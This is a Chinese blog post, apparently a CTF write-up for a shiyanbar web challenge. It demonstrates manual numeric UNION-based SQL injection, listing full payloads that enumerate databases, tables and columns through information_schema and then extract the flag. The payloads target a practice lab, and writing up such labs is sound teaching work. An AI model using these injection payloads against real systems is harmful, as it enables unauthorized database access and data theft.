决斗场 - 实验吧 WEB 这个看起来有点简单!

本文详细解析了实验吧CTF挑战中的一道SQL注入题目,通过手工注入方法,逐步揭示了如何确定注入、爆库、爆表及爆字段的过程,帮助理解数字型SQL注入的实战技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://www.shiyanbar.com/ctf/33


今天小编在写这道题题解的时候才发现,原来实验吧有这道题的视频讲解。看了一下,视频讲的不是很清楚,而且用的还是sqlmap进行注入的,那么小编这里还是用手工注入的角度来讲解一下这道题如何去注入。

这道题其实蛮简单的,点开题目,我们能看到一个疑似sql查找结果的表:


看下URL,我们可以看到URL中传入id=1这个参数。

那么第一步,确定是否有注入,确定的方法当然是经典的单引号、1=1、1=2。

尝试发现这里是存在注入的,那么接下来我们开始爆数据库,爆表,爆字段。

首先是爆数据库:

union select 1,schema_name from information_schema.schemata

这里我们爆出的数据库,可以看到爆出my_db这个数据库。

接下来我们爆表:

union select 1,table_name from information_schema.tables where table_schema='my_db'

爆出的表中我们可以看到thiskey,应该这就是我们要找的表。

然后是爆字段:

union select 1,column_name from information_schema.columns where table_name='thiskey'

很明显这个k0y就是我们的目标字段。

最后查询这个字段得到我们的结果:

union select 1,k0y from thiskey

因为这道题似乎没有对一些字段进行过滤,所以我们注入非常的轻松^v^。


这里回答一下上一次在"简单的sql注入"题解下面问我关于单引号的问题的那位同学。

我们在sql注入的时候,什么时候用单引号闭合的问题要根据实际情况进行分析,像这道题为什么没有用到单引号进行闭合呢?因为这道题的注入的参数类型是数字型,所以后台的查询应该是

Select * from 表名 where 字段=1
但是如果参数的类型是字符型,后台应该为:

Select * from 表名 where 字段=’字符’
所以只有遇到字符型的时候我们才需要用单引号进行闭合。






评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值